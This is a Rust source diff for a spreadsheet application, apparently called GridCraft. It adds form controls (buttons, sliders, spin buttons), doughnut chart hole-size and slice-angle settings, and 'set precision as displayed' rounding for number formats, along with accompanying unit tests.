||||
pub data_table: Option<ChartDataTable>,
|
||||
pub gridlines: bool,
|
||||
pub style: u32,
|
||||
/// Doughnut hole size as a percentage of the plot radius (Excel's 10–90 range). New charts and
|
||||
/// XLSX imports use Excel's 75; a document saved before this field existed reads as 50.
|
||||
#[serde(default = "default_hole_size")]
|
||||
pub hole_size: u8,
|
||||
/// Pie/doughnut first slice angle in degrees clockwise from 12 o'clock (0–359).
|
||||
#[serde(default)]
|
||||
pub first_slice_angle: u16,
|
||||
pub x_title: Option<String>,
|
||||
pub y_title: Option<String>,
|
||||
/// Source range when created from a selection (for Switch Row/Column).
|
||||
@@ -740,6 +753,171 @@ impl EquationCache {
|
||||
}
|
||||
}
|
||||
|
||||
/// What a form control on the sheet is.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub enum ControlKind {
|
||||
#[default]
|
||||
Button,
|
||||
Slider,
|
||||
Spin,
|
||||
}
|
||||
|
||||
impl ControlKind {
|
||||
/// The kind's name in the window: Button, Slider, Spin Button.
|
||||
pub fn label(self) -> &'static str {
|
||||
match self {
|
||||
ControlKind::Button => "Button",
|
||||
ControlKind::Slider => "Slider",
|
||||
ControlKind::Spin => "Spin Button",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The largest value a slider or spin button takes (Excel's scroll bar limit). Values are whole
|
||||
/// numbers from 0 to this.
|
||||
pub const CONTROL_MAX: u32 = 30_000;
|
||||
|
||||
/// What a button runs when it is pressed.
|
||||
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", rename_all = "camelCase")]
|
||||
pub enum ControlAction {
|
||||
/// Runs a macro of the workbook on `input`, optionally sending its output to `output`.
|
||||
Macro {
|
||||
name: String,
|
||||
#[serde(default)]
|
||||
input: MacroInput,
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
output: Option<String>,
|
||||
},
|
||||
/// Runs one GridCraft command with fixed parameters.
|
||||
Command {
|
||||
id: String,
|
||||
#[serde(default)]
|
||||
params: serde_json::Value,
|
||||
},
|
||||
}
|
||||
|
||||
/// The range a button's macro runs on.
|
||||
#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub enum MacroInput {
|
||||
/// The selection when the button is pressed.
|
||||
#[default]
|
||||
Selection,
|
||||
/// Always this range (`B2:D9` or `Data!B2:D9`).
|
||||
Fixed(String),
|
||||
}
|
||||
|
||||
/// A form control (button, slider, spin button) floating over the sheet.
|
||||
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
pub struct FormControl {
|
||||
pub id: u32,
|
||||
pub kind: ControlKind,
|
||||
pub anchor: Anchor,
|
||||
/// The name shown in the Selection Pane (`Button 3`); empty means the kind and id.
|
||||
pub name: String,
|
||||
/// The caption of a button.
|
||||
pub text: String,
|
||||
/// The linked cell as reference text: `$B$2` on the control's own sheet, or `Sheet2!$B$2`.
|
||||
/// Structural edits rewrite it like a formula reference.
|
||||
pub link: Option<String>,
|
||||
/// The current value of a slider or spin button (the linked cell holds it too).
|
||||
pub value: u32,
|
||||
pub min: u32,
|
||||
pub max: u32,
|
||||
/// Incremental change: one arrow click or arrow key.
|
||||
pub step: u32,
|
||||
/// Page change (sliders): a click on the track, or Page Up / Page Down.
|
||||
pub page: u32,
|
||||
/// A slider lies horizontally (false: vertically).
|
||||
pub horizontal: bool,
|
||||
/// What a button runs.
|
||||
pub action: Option<ControlAction>,
|
||||
/// Printed with the sheet.
|
||||
pub print: bool,
|
||||
/// Locked when the sheet is protected.
|
||||
pub locked: bool,
|
||||
}
|
||||
|
||||
impl Default for FormControl {
|
||||
fn default() -> Self {
|
||||
FormControl {
|
||||
id: 0,
|
||||
kind: ControlKind::default(),
|
||||
anchor: Anchor::default(),
|
||||
name: String::new(),
|
||||
text: String::new(),
|
||||
link: None,
|
||||
value: 0,
|
||||
min: 0,
|
||||
max: 100,
|
||||
step: 1,
|
||||
page: 10,
|
||||
horizontal: true,
|
||||
action: None,
|
||||
print: true,
|
||||
locked: true,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl FormControl {
|
||||
/// The name shown for the control: its own, else `Button 3`, `Slider 4`, `Spin Button 5`.
|
||||
pub fn display_name(&self) -> String {
|
||||
if self.name.trim().is_empty() { format!("{} {}", self.kind.label(), self.id) } else { self.name.clone() }
|
||||
}
|
||||
|
||||
/// Checks the numbers of a slider or spin button: 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min,
|
||||
/// and (sliders) page ≥ step. Each rule has its own message.
|
||||
pub fn check_numbers(&self) -> Result<(), String> {
|
||||
if self.kind == ControlKind::Button {
|
||||
return Ok(());
|
||||
}
|
||||
if self.max > CONTROL_MAX {
|
||||
return Err(format!("Maximum value can be at most {CONTROL_MAX}."));
|
||||
}
|
||||
if self.min > CONTROL_MAX {
|
||||
return Err(format!("Minimum value must be a whole number from 0 to {CONTROL_MAX}."));
|
||||
}
|
||||
if self.min >= self.max {
|
||||
return Err(format!("Maximum value ({}) must be greater than Minimum value ({}).", self.max, self.min));
|
||||
}
|
||||
if self.step < 1 {
|
||||
return Err("Incremental change must be at least 1.".into());
|
||||
}
|
||||
let span = self.max - self.min;
|
||||
if self.step > span {
|
||||
return Err(format!("Incremental change ({}) can be at most Maximum minus Minimum ({span}).", self.step));
|
||||
}
|
||||
if self.kind == ControlKind::Slider {
|
||||
if self.page < self.step {
|
||||
return Err(format!("Page change ({}) must be at least the incremental change ({}).", self.page, self.step));
|
||||
}
|
||||
if self.page > CONTROL_MAX {
|
||||
return Err(format!("Page change can be at most {CONTROL_MAX}."));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// `v` clamped to min..max and snapped to the nearest step from min (max stays reachable).
|
||||
pub fn snap(&self, v: f64) -> u32 {
|
||||
let (min, max) = (self.min.min(CONTROL_MAX), self.max.min(CONTROL_MAX).max(self.min.min(CONTROL_MAX)));
|
||||
if !v.is_finite() || v <= min as f64 {
|
||||
return min;
|
||||
}
|
||||
if v >= max as f64 {
|
||||
return max;
|
||||
}
|
||||
let step = self.step.max(1) as f64;
|
||||
let snapped = (min as f64 + ((v - min as f64) / step).round() * step).clamp(min as f64, max as f64);
|
||||
// When the step doesn't divide the range, the maximum is a stop of its own.
|
||||
if (max as f64 - v).abs() < (snapped - v).abs() { max } else { snapped as u32 }
|
||||
}
|
||||
}
|
||||
|
||||
/// The kinds of floating object a sheet holds. Commands name an object by kind and
|
||||
/// workbook-unique id (`{kind: "chart", id}`); [`ObjKind::name`] is that parameter's spelling.
|
||||
/// Equations are stored as shapes ([`ShapeKind::Equation`]) but select, open and delete as their
|
||||
@@ -752,10 +930,11 @@ pub enum ObjKind {
|
||||
Shape,
|
||||
Slicer,
|
||||
Equation,
|
||||
Control,
|
||||
}
|
||||
|
||||
impl ObjKind {
|
||||
pub const ALL: [ObjKind; 5] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation];
|
||||
pub const ALL: [ObjKind; 6] = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Equation, ObjKind::Control];
|
||||
|
||||
/// The name used in command parameters.
|
||||
pub fn name(self) -> &'static str {
|
||||
@@ -765,6 +944,7 @@ impl ObjKind {
|
||||
ObjKind::Shape => "shape",
|
||||
ObjKind::Slicer => "slicer",
|
||||
ObjKind::Equation => "equation",
|
||||
ObjKind::Control => "control",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -921,6 +1101,39 @@ mod trendline_forecast_tests {
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn chart_without_hole_size_keeps_the_legacy_hole() {
|
||||
let chart = Chart {
|
||||
id: 1,
|
||||
kind: ChartKind::Doughnut,
|
||||
anchor: Anchor::default(),
|
||||
title: None,
|
||||
series: vec![],
|
||||
legend: LegendPos::Right,
|
||||
data_labels: false,
|
||||
data_table: None,
|
||||
gridlines: false,
|
||||
style: 1,
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
x_title: None,
|
||||
y_title: None,
|
||||
source: None,
|
||||
by_rows: false,
|
||||
pivot: None,
|
||||
};
|
||||
let mut json = serde_json::to_value(&chart).expect("serialize chart");
|
||||
json.as_object_mut().expect("chart object").remove("hole_size");
|
||||
let legacy: Chart = serde_json::from_value(json).expect("deserialize legacy chart");
|
||||
assert_eq!(legacy.hole_size, 50, "documents saved before hole_size existed keep the old 50% hole");
|
||||
assert_eq!(chart.hole_size, 75, "new charts keep Excel's 75% default");
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod equation_cache_tests {
|
||||
use super::{EquationCache, source_key};
|
||||
|
||||
@@ -9,8 +9,8 @@ use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::cell::{Cell, CellPicture};
|
||||
use crate::features::{
|
||||
Anchor, AutoFilter, Chart, Comment, CondFormat, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape, ShapeKind,
|
||||
SheetProtection, Slicer, Sparkline, Table, Validation,
|
||||
Anchor, AutoFilter, Chart, Comment, CondFormat, FormControl, Hyperlink, Image, LineInfo, ObjKind, ObjRef, PivotTable, PrintSettings, Shape,
|
||||
ShapeKind, SheetProtection, Slicer, Sparkline, Table, Validation,
|
||||
};
|
||||
use crate::store::CellStore;
|
||||
use crate::style::{Color, StyleId};
|
||||
@@ -147,6 +147,10 @@ pub struct Sheet {
|
||||
/// On-sheet slicer widgets (filter a table column by clicking value tiles).
|
||||
#[serde(default)]
|
||||
pub slicers: Vec<Slicer>,
|
||||
/// Form controls (buttons, sliders, spin buttons). They paint above every other object and
|
||||
/// take clicks first.
|
||||
#[serde(default, skip_serializing_if = "Vec::is_empty")]
|
||||
pub controls: Vec<FormControl>,
|
||||
/// PivotTables whose output lives on this sheet.
|
||||
#[serde(default)]
|
||||
pub pivots: Vec<PivotTable>,
|
||||
@@ -219,6 +223,7 @@ impl Sheet {
|
||||
shapes: vec![],
|
||||
sparklines: vec![],
|
||||
slicers: vec![],
|
||||
controls: vec![],
|
||||
pivots: vec![],
|
||||
protection: None,
|
||||
edit_ranges: vec![],
|
||||
@@ -285,6 +290,8 @@ impl Sheet {
|
||||
if s.kind == ShapeKind::Equation { ObjKind::Equation } else { ObjKind::Shape }
|
||||
} else if self.slicers.iter().any(|o| o.id == id) {
|
||||
ObjKind::Slicer
|
||||
} else if self.controls.iter().any(|o| o.id == id) {
|
||||
ObjKind::Control
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
@@ -305,6 +312,7 @@ impl Sheet {
|
||||
ObjKind::Shape => self.shapes.iter().find(|c| c.id == o.id).map(|c| c.anchor),
|
||||
ObjKind::Slicer => self.slicers.iter().find(|c| c.id == o.id).map(|c| c.anchor),
|
||||
ObjKind::Equation => self.shapes.iter().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| c.anchor),
|
||||
ObjKind::Control => self.controls.iter().find(|c| c.id == o.id).map(|c| c.anchor),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -315,6 +323,7 @@ impl Sheet {
|
||||
ObjKind::Shape => self.shapes.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
|
||||
ObjKind::Slicer => self.slicers.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
|
||||
ObjKind::Equation => self.shapes.iter_mut().find(|c| c.id == o.id && c.kind == ShapeKind::Equation).map(|c| &mut c.anchor),
|
||||
ObjKind::Control => self.controls.iter_mut().find(|c| c.id == o.id).map(|c| &mut c.anchor),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -331,12 +340,13 @@ impl Sheet {
|
||||
ObjKind::Shape => take(&mut self.shapes, |c| c.id == o.id),
|
||||
ObjKind::Slicer => take(&mut self.slicers, |c| c.id == o.id),
|
||||
ObjKind::Equation => take(&mut self.shapes, |c| c.id == o.id && c.kind == ShapeKind::Equation),
|
||||
ObjKind::Control => take(&mut self.controls, |c| c.id == o.id),
|
||||
}
|
||||
}
|
||||
|
||||
/// Every floating object's anchor in a fixed order (charts, images, shapes, slicers) that
|
||||
/// [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old ones
|
||||
/// and write them back in step.
|
||||
/// Every floating object's anchor in a fixed order (charts, images, shapes, slicers, controls)
|
||||
/// that [`Sheet::object_anchors_mut`] repeats, so a pass can compute new anchors from the old
|
||||
/// ones and write them back in step.
|
||||
pub fn object_anchors(&self) -> impl Iterator<Item = &Anchor> {
|
||||
self.charts
|
||||
.iter()
|
||||
@@ -344,6 +354,7 @@ impl Sheet {
|
||||
.chain(self.images.iter().map(|o| &o.anchor))
|
||||
.chain(self.shapes.iter().map(|o| &o.anchor))
|
||||
.chain(self.slicers.iter().map(|o| &o.anchor))
|
||||
.chain(self.controls.iter().map(|o| &o.anchor))
|
||||
}
|
||||
|
||||
pub fn object_anchors_mut(&mut self) -> impl Iterator<Item = &mut Anchor> {
|
||||
@@ -353,6 +364,7 @@ impl Sheet {
|
||||
.chain(self.images.iter_mut().map(|o| &mut o.anchor))
|
||||
.chain(self.shapes.iter_mut().map(|o| &mut o.anchor))
|
||||
.chain(self.slicers.iter_mut().map(|o| &mut o.anchor))
|
||||
.chain(self.controls.iter_mut().map(|o| &mut o.anchor))
|
||||
}
|
||||
/// Displayed value of a cell: its own value, or a spilled value.
|
||||
pub fn value(&self, c: CellRef) -> Value {
|
||||
@@ -819,6 +831,8 @@ mod tests {
|
||||
data_table: None,
|
||||
gridlines: false,
|
||||
style: 0,
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
x_title: None,
|
||||
y_title: None,
|
||||
source: None,
|
||||
@@ -839,6 +853,7 @@ mod tests {
|
||||
ObjKind::Slicer => {
|
||||
s.slicers.push(Slicer { id, table: String::new(), column: String::new(), caption: String::new(), anchor, selected: None, columns: 1 })
|
||||
}
|
||||
ObjKind::Control => s.controls.push(FormControl { id, anchor, ..Default::default() }),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -860,13 +875,15 @@ mod tests {
|
||||
(ObjKind::Slicer, 1),
|
||||
(ObjKind::Image, 4),
|
||||
(ObjKind::Equation, 6),
|
||||
(ObjKind::Control, 13),
|
||||
(ObjKind::Shape, 12),
|
||||
(ObjKind::Equation, 8),
|
||||
(ObjKind::Control, 15),
|
||||
];
|
||||
for &(kind, id) in &inserted {
|
||||
push_object(&mut s, kind, id, Anchor { cell: CellRef::new(id, 0), ..Default::default() });
|
||||
}
|
||||
let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len();
|
||||
let per_kind = s.charts.len() + s.images.len() + s.shapes.len() + s.slicers.len() + s.controls.len();
|
||||
assert_eq!(per_kind, inserted.len());
|
||||
assert_eq!(s.object_anchors().count(), per_kind, "object_anchors visits every collection");
|
||||
assert_eq!(s.object_anchors_mut().count(), per_kind, "object_anchors_mut visits every collection");
|
||||
@@ -877,10 +894,10 @@ mod tests {
|
||||
}
|
||||
let marks: Vec<f32> = s.object_anchors().map(|a| a.dx).collect();
|
||||
assert_eq!(marks, (0..per_kind).map(|i| i as f32).collect::<Vec<f32>>());
|
||||
// The sequence is the documented one (charts, images, shapes, slicers, each in insertion
|
||||
// order; equations are shapes) and every object appears in it once.
|
||||
// The sequence is the documented one (charts, images, shapes, slicers, controls, each in
|
||||
// insertion order; equations are shapes) and every object appears in it once.
|
||||
let collection = |k: ObjKind| if k == ObjKind::Equation { ObjKind::Shape } else { k };
|
||||
let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer]
|
||||
let documented: Vec<u32> = [ObjKind::Chart, ObjKind::Image, ObjKind::Shape, ObjKind::Slicer, ObjKind::Control]
|
||||
.iter()
|
||||
.flat_map(|&k| inserted.iter().filter(move |(kind, _)| collection(*kind) == k).map(|&(_, id)| id))
|
||||
.collect();
|
||||
|
||||
@@ -506,7 +506,7 @@ impl Workbook {
|
||||
}
|
||||
}
|
||||
|
||||
/// A free id for a new chart, picture, shape, table or slicer: one more than the largest in
|
||||
/// A free id for a new chart, picture, shape, table, slicer or form control: one more than the largest in
|
||||
/// use, or, when that is `u32::MAX` (a file can carry any id), the lowest free one.
|
||||
pub fn next_object_id(&self) -> u32 {
|
||||
self.free_object_ids(1).first().copied().unwrap_or(u32::MAX)
|
||||
@@ -527,6 +527,7 @@ impl Workbook {
|
||||
.chain(s.shapes.iter().map(|o| o.id))
|
||||
.chain(s.tables.iter().map(|o| o.id))
|
||||
.chain(s.slicers.iter().map(|o| o.id))
|
||||
.chain(s.controls.iter().map(|o| o.id))
|
||||
})
|
||||
.collect();
|
||||
used.sort_unstable();
|
||||
@@ -613,6 +614,10 @@ mod tests {
|
||||
sh.images.push(image(7));
|
||||
}
|
||||
assert_eq!(wb.next_object_id(), 8);
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
sh.controls.push(crate::FormControl { id: 12, ..Default::default() });
|
||||
}
|
||||
assert_eq!(wb.next_object_id(), 13, "form controls take ids from the same sequence");
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
sh.images.push(image(u32::MAX));
|
||||
}
|
||||
@@ -631,6 +636,19 @@ mod tests {
|
||||
assert_eq!(wb.free_object_ids(3), vec![1, 2, u32::MAX], "the top first, then from 1");
|
||||
}
|
||||
|
||||
/// A form control's id is in use like any object's: the free ids skip it, also when it is the
|
||||
/// largest id a file could carry.
|
||||
#[test]
|
||||
fn free_object_ids_skip_a_form_controls_id() {
|
||||
let mut wb = Workbook::new();
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
sh.controls.push(crate::FormControl { id: 3, ..Default::default() });
|
||||
sh.controls.push(crate::FormControl { id: u32::MAX, ..Default::default() });
|
||||
}
|
||||
assert_eq!(wb.free_object_ids(4), vec![1, 2, 4, 5], "3 and the largest id are taken");
|
||||
assert_eq!(wb.next_object_id(), 1);
|
||||
}
|
||||
|
||||
/// A file can use the largest id and the one below it: nothing is free above them, so the free
|
||||
/// ids are the lowest unused ones from 1 (0 is never an object's id), and a large request is
|
||||
/// served in time linear in the count and the ids in use.
|
||||
|
||||
@@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) {
|
||||
/// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then
|
||||
/// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####".
|
||||
pub fn format_general_fit(n: f64, max_chars: usize) -> Option<String> {
|
||||
// The widest fixed rendering of a double is about 330 characters; a larger request only
|
||||
// pads zero decimals the trim below throws away.
|
||||
let max_chars = max_chars.min(1024);
|
||||
if !n.is_finite() {
|
||||
return None;
|
||||
}
|
||||
@@ -214,6 +217,8 @@ mod tests {
|
||||
fn general_fit() {
|
||||
assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11"));
|
||||
assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901"));
|
||||
// A huge width neither allocates width-sized padding nor changes the text.
|
||||
assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5"));
|
||||
assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11"));
|
||||
assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3"));
|
||||
assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333"));
|
||||
|
||||
@@ -323,6 +323,60 @@ impl NumberFormat {
|
||||
(Formatted { text: out.text, color: sec.color, fill: out.fill, numeric: true }, false)
|
||||
}
|
||||
|
||||
/// The number `n` as this format displays it: what Excel stores when "Set precision as
|
||||
/// displayed" is on. Fixed decimals, percent, thousands scaling (`0.0,,`), scientific and
|
||||
/// fraction sections round to what they show; the section is picked as for display, so
|
||||
/// `0.00;(0.0)` keeps one decimal for negatives. Observed in Excel (COM,
|
||||
/// `Workbook.PrecisionAsDisplayed`), these keep the full value: General, date and time
|
||||
/// formats (`mm:ss.0` included), text formats and sections without digits (`"x"`, `;;;`).
|
||||
/// The section is picked by [`NumberFormat::rounding_section`], which ignores conditions.
|
||||
/// Never returns `-0`.
|
||||
pub fn round_as_displayed(&self, n: f64) -> f64 {
|
||||
if self.is_general() || !n.is_finite() {
|
||||
return n;
|
||||
}
|
||||
let Some(sec) = self.rounding_section(n) else { return n };
|
||||
if sec.kind != SecKind::Number {
|
||||
return n;
|
||||
}
|
||||
let Some(m) = render::shown_value(sec, n) else { return n };
|
||||
if m == 0.0 {
|
||||
0.0
|
||||
} else if n < 0.0 {
|
||||
-m
|
||||
} else {
|
||||
m
|
||||
}
|
||||
}
|
||||
|
||||
/// The section whose digits "Set precision as displayed" rounds `n` by. Observed in Excel
|
||||
/// (COM), this differs from the section that displays `n`:
|
||||
/// - Conditions are ignored; the sign picks the section, the first for positives and the
|
||||
/// second for negatives. `[<1]0.00;0` shows 2.333 as `2` but stores 2.33, and stores -10/3
|
||||
/// as -3 although it shows `-3.00`. `[>1]0.0;0.000` stores 1/3 as 0.3.
|
||||
/// - A format with a condition and a single number section keeps negatives at full value
|
||||
/// (`[<1]0.00`, `[>=-100]0.0`); with an `@` section added (`[<1]0.00;@`) negatives use the
|
||||
/// first section, as every format without a condition does.
|
||||
/// - A completely empty section (no characters, not even a colour) passes to the next one:
|
||||
/// `0.0;;0.000` stores -2.333 as -2.333, `;0.0` stores 2.333 as 2.3, `;;0.0` too. A section
|
||||
/// with only a colour or a literal (`0.0;[Red];0.000`, `0.0;" "`) has no digits and keeps
|
||||
/// the full value.
|
||||
///
|
||||
/// `None` keeps the full value.
|
||||
fn rounding_section(&self, n: f64) -> Option<&Section> {
|
||||
let secs = self.num_sections();
|
||||
let conditional = secs.iter().any(|s| s.cond.is_some());
|
||||
let slot = if n < 0.0 && secs.len() >= 2 {
|
||||
1
|
||||
} else if n < 0.0 && conditional && self.inner.text_section.is_none() {
|
||||
return None;
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let empty = |s: &Section| s.toks.is_empty() && s.color.is_none() && s.cond.is_none();
|
||||
secs.get(slot..)?.iter().find(|s| !empty(s))
|
||||
}
|
||||
|
||||
fn format_text(&self, t: &str) -> Formatted {
|
||||
match self.inner.text_section.and_then(|i| self.inner.sections.get(i)) {
|
||||
Some(sec) => {
|
||||
|
||||
+138
-43
@@ -230,9 +230,31 @@ fn digit_indices(toks: &[Tok], range: std::ops::Range<usize>) -> Vec<usize> {
|
||||
range.filter(|&i| matches!(toks.get(i), Some(Tok::Digit(_)))).collect()
|
||||
}
|
||||
|
||||
/// Renders a non-negative number through a number section.
|
||||
pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
|
||||
let mut x = v.abs();
|
||||
/// Where a number section's placeholders are: the decimal point, the exponent, and the digit
|
||||
/// placeholders before the point (or exponent) and between the point and the exponent.
|
||||
struct NumberLayout {
|
||||
point: Option<usize>,
|
||||
exp: Option<usize>,
|
||||
int_idx: Vec<usize>,
|
||||
frac_idx: Vec<usize>,
|
||||
}
|
||||
|
||||
fn number_layout(toks: &[Tok]) -> NumberLayout {
|
||||
let n = toks.len();
|
||||
let point = toks.iter().position(|t| matches!(t, Tok::Point));
|
||||
let exp = toks.iter().position(|t| matches!(t, Tok::Exp { .. }));
|
||||
let int_end = point.or(exp).unwrap_or(n);
|
||||
let frac_end = exp.unwrap_or(n);
|
||||
let int_idx = digit_indices(toks, 0..int_end);
|
||||
let frac_idx = match point {
|
||||
Some(p) => digit_indices(toks, p + 1..frac_end),
|
||||
None => Vec::new(),
|
||||
};
|
||||
NumberLayout { point, exp, int_idx, frac_idx }
|
||||
}
|
||||
|
||||
/// The number a section works on: each `%` multiplies by 100, each scaling comma divides by 1000.
|
||||
fn scaled(sec: &Section, mut x: f64) -> f64 {
|
||||
// Observed: `%` in a scientific section is only a literal (`#%e+#` shows 123456.789 as
|
||||
// `1%e+5`).
|
||||
if sec.percent > 0 && !sec.exp {
|
||||
@@ -241,6 +263,75 @@ pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
|
||||
if sec.scale > 0 {
|
||||
x /= 1000f64.powi(sec.scale.min(110));
|
||||
}
|
||||
x
|
||||
}
|
||||
|
||||
/// Scientific notation of a non-negative `x` with `int_count` integer and `frac_count` fraction
|
||||
/// placeholders: the exponent (a multiple of the integer placeholder count, engineering style)
|
||||
/// and the mantissa's integer and fraction digits.
|
||||
fn scientific_parts(x: f64, int_count: usize, frac_count: usize) -> (i32, String, String) {
|
||||
if x == 0.0 {
|
||||
// Observed: zero shows `0` in every integer placeholder, `#` and `?` too
|
||||
// (`#.#E+#` gives `0.E+0`, `####.####E+#` gives `0000.E+0`).
|
||||
return (0, "0".repeat(int_count), "0".repeat(frac_count));
|
||||
}
|
||||
let step = int_count.max(1) as i32;
|
||||
let (digits, xe) = decimal_digits(x);
|
||||
let mut e = xe - xe.rem_euclid(step);
|
||||
let (mut i, mut f) = fixed_from_digits(&digits, xe - e, frac_count);
|
||||
if i.len() > step as usize {
|
||||
e += step;
|
||||
(i, f) = fixed_from_digits(&digits, xe - e, frac_count);
|
||||
}
|
||||
(e, i, f)
|
||||
}
|
||||
|
||||
/// The number a number section shows for a non-negative `v`, as a value: what "Set precision as
|
||||
/// displayed" stores. `None` when the section shows no digits (`"x"`) or the result isn't finite.
|
||||
/// It uses the display's own rounding, so 1.005 with `0.00` gives 1.01, and 0.123456 with
|
||||
/// `0.00%` gives 0.1235 (the nearest double to the decimal shown).
|
||||
pub(crate) fn shown_value(sec: &Section, v: f64) -> Option<f64> {
|
||||
if !sec.has_digits || !v.is_finite() {
|
||||
return None;
|
||||
}
|
||||
let x = scaled(sec, v.abs());
|
||||
if !x.is_finite() {
|
||||
return None;
|
||||
}
|
||||
if x == 0.0 {
|
||||
return Some(0.0);
|
||||
}
|
||||
// `%` and scaling are undone by moving the decimal point in the digits shown, so the result
|
||||
// is the nearest double to that decimal rather than a product with its own rounding error.
|
||||
let pct = if sec.exp { 0 } else { sec.percent.min(20) };
|
||||
let shift = 3 * sec.scale.clamp(0, 110) - 2 * pct;
|
||||
let shown = if sec.fraction {
|
||||
let lay = fraction_layout(&sec.toks)?;
|
||||
let (whole, num, den) = fraction_parts(&lay, x);
|
||||
let den = den.max(1) as f64;
|
||||
(whole * den + num) / den * 10f64.powi(shift)
|
||||
} else {
|
||||
let NumberLayout { exp, frac_idx, .. } = number_layout(&sec.toks);
|
||||
let (e, int_s, frac_s) = match exp {
|
||||
// Observed: the stored value keeps one digit plus the fraction digits, whatever the
|
||||
// integer placeholders (`##0.0E+0` stores 123456.789 as 120000 though it shows
|
||||
// `123.5E+3`; `###.00E+0` keeps three digits). A `%` in a scientific section stores a
|
||||
// value that matches neither the display nor this rule: left as is.
|
||||
Some(_) if sec.percent > 0 => return None,
|
||||
Some(_) => scientific_parts(x, 1, frac_idx.len()),
|
||||
None => {
|
||||
let (i, f) = fixed(x, frac_idx.len());
|
||||
(0, i, f)
|
||||
}
|
||||
};
|
||||
format!("0{int_s}.{frac_s}0e{}", i64::from(e) + i64::from(shift)).parse::<f64>().ok()?
|
||||
};
|
||||
shown.is_finite().then_some(shown)
|
||||
}
|
||||
|
||||
/// Renders a non-negative number through a number section.
|
||||
pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
|
||||
let mut x = scaled(sec, v.abs());
|
||||
if !x.is_finite() {
|
||||
x = f64::MAX;
|
||||
}
|
||||
@@ -256,32 +347,10 @@ pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
|
||||
lits = vec![None; n];
|
||||
render_fraction(sec, x, &mut pieces, &mut lits);
|
||||
} else {
|
||||
let point = toks.iter().position(|t| matches!(t, Tok::Point));
|
||||
let exp = toks.iter().position(|t| matches!(t, Tok::Exp { .. }));
|
||||
let int_end = point.or(exp).unwrap_or(n);
|
||||
let frac_end = exp.unwrap_or(n);
|
||||
let int_idx = digit_indices(toks, 0..int_end);
|
||||
let frac_idx = match point {
|
||||
Some(p) => digit_indices(toks, p + 1..frac_end),
|
||||
None => Vec::new(),
|
||||
};
|
||||
let NumberLayout { point, exp, int_idx, frac_idx } = number_layout(toks);
|
||||
let (int_s, frac_s) = if let Some(e_at) = exp {
|
||||
let exp_idx = digit_indices(toks, e_at + 1..n);
|
||||
let step = int_idx.len().max(1) as i32;
|
||||
let (mut e, int_s, frac_s) = if x == 0.0 {
|
||||
// Observed: zero shows `0` in every integer placeholder, `#` and `?` too
|
||||
// (`#.#E+#` gives `0.E+0`, `####.####E+#` gives `0000.E+0`).
|
||||
(0i32, "0".repeat(int_idx.len()), "0".repeat(frac_idx.len()))
|
||||
} else {
|
||||
let (digits, xe) = decimal_digits(x);
|
||||
let mut e = xe - xe.rem_euclid(step);
|
||||
let (mut i, mut f) = fixed_from_digits(&digits, xe - e, frac_idx.len());
|
||||
if i.len() > step as usize {
|
||||
e += step;
|
||||
(i, f) = fixed_from_digits(&digits, xe - e, frac_idx.len());
|
||||
}
|
||||
(e, i, f)
|
||||
};
|
||||
let (mut e, int_s, frac_s) = scientific_parts(x, int_idx.len(), frac_idx.len());
|
||||
// Exponent text.
|
||||
let (upper, plus) = match toks.get(e_at) {
|
||||
Some(Tok::Exp { upper, plus }) => (*upper, *plus),
|
||||
@@ -424,19 +493,23 @@ fn blank_range(toks: &[Tok], range: std::ops::Range<usize>, spaces: bool, pieces
|
||||
}
|
||||
}
|
||||
|
||||
